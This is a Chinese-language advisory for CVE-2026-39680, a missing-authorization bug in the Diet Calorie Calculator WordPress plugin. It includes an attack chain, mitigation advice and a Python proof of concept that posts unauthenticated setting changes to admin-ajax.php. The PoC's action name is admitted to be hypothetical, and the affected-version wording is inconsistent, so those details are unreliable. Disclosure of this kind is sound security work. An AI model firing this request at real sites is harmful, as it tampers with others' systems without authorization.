IPBUF安全漏洞报告
English
CVE-2026-39680 CVSS 5.3 中危

CVE-2026-39680 Diet Calorie Calculator缺失授权漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39680
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Diet Calorie Calculator (WordPress Plugin)

相关标签

权限缺失WordPress插件访问控制失效CVE-2026-39680

漏洞概述

该漏洞影响MWP Development开发的Diet Calorie Calculator WordPress插件,涉及版本为1.1.1及以下。漏洞核心在于缺失授权检查,导致攻击者可绕过身份验证,利用配置错误的访问控制安全级别。攻击者无需用户交互即可通过网络发起攻击,虽然对机密性无影响,但可能破坏数据的完整性。建议管理员立即检查并更新插件。

技术细节

该漏洞属于典型的访问控制失效问题,具体出现在Diet Calorie Calculator插件的后台逻辑中。在受影响版本中,插件注册的AJAX动作或REST API端点未对当前用户权限进行验证(即缺少`current_user_can()`函数调用)。这意味着任何匿名用户都可以直接向`/wp-admin/admin-ajax.php`发送包含特定action参数的POST请求。由于CVSS向量显示完整性影响为低,攻击者可能利用此漏洞修改插件设置、更改计算器参数或提交恶意数据。漏洞利用无需复杂的环境配置,攻击门槛低,且无需诱骗用户点击,可被自动化工具批量利用。

攻击链分析

STEP 1
侦察
攻击者扫描互联网以识别使用Diet Calorie Calculator插件且版本低于1.1.1的WordPress站点。
STEP 2
漏洞利用
攻击者无需登录,直接构造恶意POST请求发送至目标站点的admin-ajax.php接口,触发未受权限保护的敏感功能。
STEP 3
影响达成
由于插件未验证用户身份,服务器执行了请求的操作,导致数据完整性受损(如修改配置或注入数据)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Diet Calorie Calculator < 1.1.1 - Missing Authorization # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: MWP Development # Software Link: https://wordpress.org/plugins/diet-calorie-calculator/ # Version: <= 1.1.1 # Tested on: WordPress 6.x def exploit_missing_auth(target_url): """ Exploits the missing authorization vulnerability. This PoC attempts to modify plugin settings without authentication. """ # The vulnerable endpoint is typically wp-admin/admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Common action name for this plugin (hypothetical based on structure) # Real action name needs to be extracted from plugin source code data = { 'action': 'diet_calorie_save_settings', 'security': '0', # Often bypassed or not required 'calorie_limit': '99999' # Malicious data to change integrity } try: response = requests.post(ajax_url, data=data) if response.status_code == 200: print(f"[+] Request sent successfully to {target_url}") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL exploit_missing_auth(target)

影响范围

Diet Calorie Calculator <= 1.1.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件以消除风险。或者通过服务器配置(如.htaccess或Nginx规则)拦截对wp-admin/admin-ajax.php中特定action参数的请求,仅允许受信任的内部网络访问管理接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表